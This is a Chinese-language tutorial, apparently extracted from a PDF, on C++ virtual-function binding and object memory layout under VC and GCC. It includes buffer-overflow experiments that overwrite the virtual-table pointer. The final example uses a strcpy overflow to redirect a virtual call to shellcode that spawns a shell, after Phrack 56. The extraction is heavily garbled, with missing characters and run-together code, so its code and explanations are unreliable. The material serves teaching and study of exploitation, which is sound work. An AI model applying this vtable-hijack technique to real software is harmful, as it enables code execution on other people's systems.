1、目录:1. C+中虚函数的静态联编和动态联编2. VC中对象的空间组织和溢出试验3. GCC中对象的空间组织和溢出试验4. 参考C+中虚函数的静态联编和动态联编C+中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。其特性就是支持动态联编。现在C+开发的大型软件中几乎已经离不开虚函数的使用,一个典型的例子就是虚函数是MFC的基石之一。这里有两个概念需要先解释:静态联编:通俗点来讲就是程序编译时确定调用目标的地址。动态联编:程序运行阶段确定调用目标的地址。在C+中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键字,并且在调用函数时是通过指针或引用调用,那么此时
2、就是采用动态联编。一个简单例子:/ test.cpp#includeclass ClassApublic:int num1;ClassA() num1=0xffff; ;virtual void test1(void);virtual void test2(void);ClassA objA,* pobjA;int main(void)pobjA=objA.test1();objA.test2();pobjA-test1();pobjA-test2();return 0;使用VC编译:开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择 ,那么先在命令行运行VC目录 binVC
3、VARS32.BAT )cl test.cpp /Fatest.asm中间 编 接 来就 asm里有 么 虚, 来有点 ,要有 !来 :数 定义:_BSS SEGMENT?objA3VClassAA DQ 01H DUP (?) ;objA 64 ?pobjA3PAVClassAA DD 01H DUP (?) ;pobjA 一个地址32 _BSS ENDSobjA 64 ,里 了 ? 接 函数:_this$ = -4?0ClassAQAEXZ PROC NEAR ; ClassA:ClassA() 定义了一个 _this ?!; File test.cpp; Line 6push ebpmo
4、v ebp, esppush ecxmov DWORD PTR _this$ebp, ecx ; ecx currency1 _this ? 不“?mov eax, DWORD PTR _this$ebpmov DWORD PTR eax, OFFSET FLAT:?_7ClassA6B; ClassA:vftable; 的 都是编译fi加的flfl, 的在这里mov ecx, DWORD PTR _this$ebpmov DWORD PTR ecx+4, 65535 ;0xffff num1=0xffff; 来 _this+4就是num1的地址mov eax, DWORD PTR _this
5、$ebpmov esp, ebppop ebpret 0?0ClassAQAEXZ ENDP那个_this和mov DWORD PTR _this$ebp, ecx 了,不 调用的函数:_$E9 PROC NEAR; File test.cpp; Line 10push ebpmov ebp, espmov ecx, OFFSET FLAT:?objA3VClassAAcall ?0ClassAQAEXZ ;call ClassA:ClassA()pop ebpret 0_$E9 ENDP,ecx指”objA的地址,通过,那个_this就是objA的开地址,其CLASS中的静态 法编译fi编译
6、时都 动加一个this ,并且在函数开ecxcurrency1,指”调用 法的对象的地址 。那么函数里的这两行是 么?mov eax, DWORD PTR _this$ebpmov DWORD PTR eax, OFFSET FLAT:?_7ClassA6B; ClassA:vftable已经_this 的 对象地址: ClassA:vftableDD FLAT:?test2ClassAUAEXXZCONST ENDS来这里 的就是test1(),test2()函数的地址 ! 那么这个:mov DWORD PTR eax, OFFSET FLAT:?_7ClassA6B; ClassA:vft
7、able就是在对象的 地址 这么一个地址 的地址。了, 此 已经 了objA的了:| 地址 |+-+ - objA的 地址 Line 13push ebpmov ebp, esp; Line 14mov DWORD PTR ?pobjA3PAVClassAA,OFFSET FLAT:?objA3VClassAA ; pobjA = Line 15mov ecx, OFFSET FLAT:?objA3VClassAA ; ecx = this指针; 指”调用 的地址call ?test1ClassAUAEXXZ ; objA.test1(); objA.test1()直接调用,已经确定了地址;
8、Line 16mov ecx, OFFSET FLAT:?objA3VClassAAcall ?test2ClassAUAEXXZ ; objA.test2(); Line 17mov eax, DWORD PTR ?pobjA3PAVClassAA ; pobjAmov edx, DWORD PTR eax ; edx = vftablemov ecx, DWORD PTR ?pobjA3PAVClassAA ; pobjAcall DWORD PTR edx ; call vftable0 pobjA-test1() 地址是动态 的 ; ); Line 18mov eax, DWORD P
9、TR ?pobjA3PAVClassAA ; pobjAmov edx, DWORD PTR eaxmov ecx, DWORD PTR ?pobjA3PAVClassAA ; pobjAcall DWORD PTR edx+4 ; pobjA-test2(); call vftable1 vftable1里 的是test2()的地址; Line 19xor eax, eax; Line 20pop ebpret 0_main ENDP了, 这里你已经对动态联编有了 象。VC中对象的空间组织和溢出试验通过的 对对象空间组织概 如 :| 地址 |+-+ - objA的 地址 int buff1;
10、ClassEx obj1,obj2,* pobj;int main(void)cout class ClassExpublic:int buff1;virtual void test(void) cout test();return 0;编译 cl ex_vc.cpp运行 果:ClassEx:test()Why a u here ?!测试 : VC6了程序执行 程 _平时 编程时 用virtaul不多,但如果 使用BC/VC等,且使用了厂商提供的库,其 已经大 使用了虚函数 , 程序 要小 了,一个不留神的 患无穷。 /开琢磨 多系统带的程序也是vc 的,里 不 GCC中对象的空间组织和溢出试
11、验刚才 已经 完vc 的许多细节了,那么 接 来 gcc里有没有 么不一 ! 法一 ,就是 个test.cpp用gcc -S test.cpp 来编译 编文件test.s test.s 就 许多细节的fl西。通过 :gcc中对象地址空间 如 :| 地址 |+-+ 对象的开地址| | 空间 | |+-+| pvftable |-+-+ vftable+-+ | 0 | 地址 | +-+| XXXXXXXX |+-+| 0 |+- +| 虚函数1地址 |+-+| 0 |+- +| 虚函数2地址 |+-+| . . . . . . |哈哈, gcc 有个常大的优势,就是 在pvftable,要是溢出
12、 就 pvftable,vc 便多了!来 个溢出测试程序:/test.cpp#includeclass ClassTestpublic:long buff1; /大小 1virtual void test(void)cout entry()a.buff1 = ( long ) addr;/ 溢出,操 了虚函数 指针a.test(); /静态联编的,不有事p-test(); /动态联编的, 的函数 去 地址,/ 果就 了调用函数 entry()编译: gcc test.cpp -lstdc+执行 果:bash-2.05# ./a.outClassTest test()Why are u here
13、 ?!测试程序说:具体的就是gcc -S test.cpp test.s 里 有这么一段:.section .gnu.linkonce.d._vt$9ClassTest,“aw“,progbits.p2align 2.type _vt$9ClassTest,object.size _vt$9ClassTest,24_vt$9ClassTest:.value 0.value 0.long _tf9ClassTest.value 0.value 0.long test_9ClassTest -+.zero 8 |.comm _ti9ClassTest,8,4 |test()的地址 test()时就
14、跑 建的地址 里取了entry的地址去运行了测试 FreeBSD 4.4gcc 2.95.3来一个真一点的测试:通过溢出 pvftable,时期指”一个 的vftable,并且 vftable的虚函数地址指” 的一段shellcode从 一个shell。#include#includeclass ClassBase /定义一个基础类public:char buff128;void setBuffer(char * s)strcpy(buff,s);virtual void printBuffer(void); /虚函数;class ClassA :public ClassBase public:void printBuffer(void)cout printBuffer(); / 这里是正常用法cout printBuffer(); / classBuffer1.printBuffer/ 时一个shell就出来了return 0;bash-2.05$ ./a.outName :TomThe text : Hello ! This is world of c+ .0xbfbffb44 : 0xbfbffabcName :$ 128 参考Phrack56#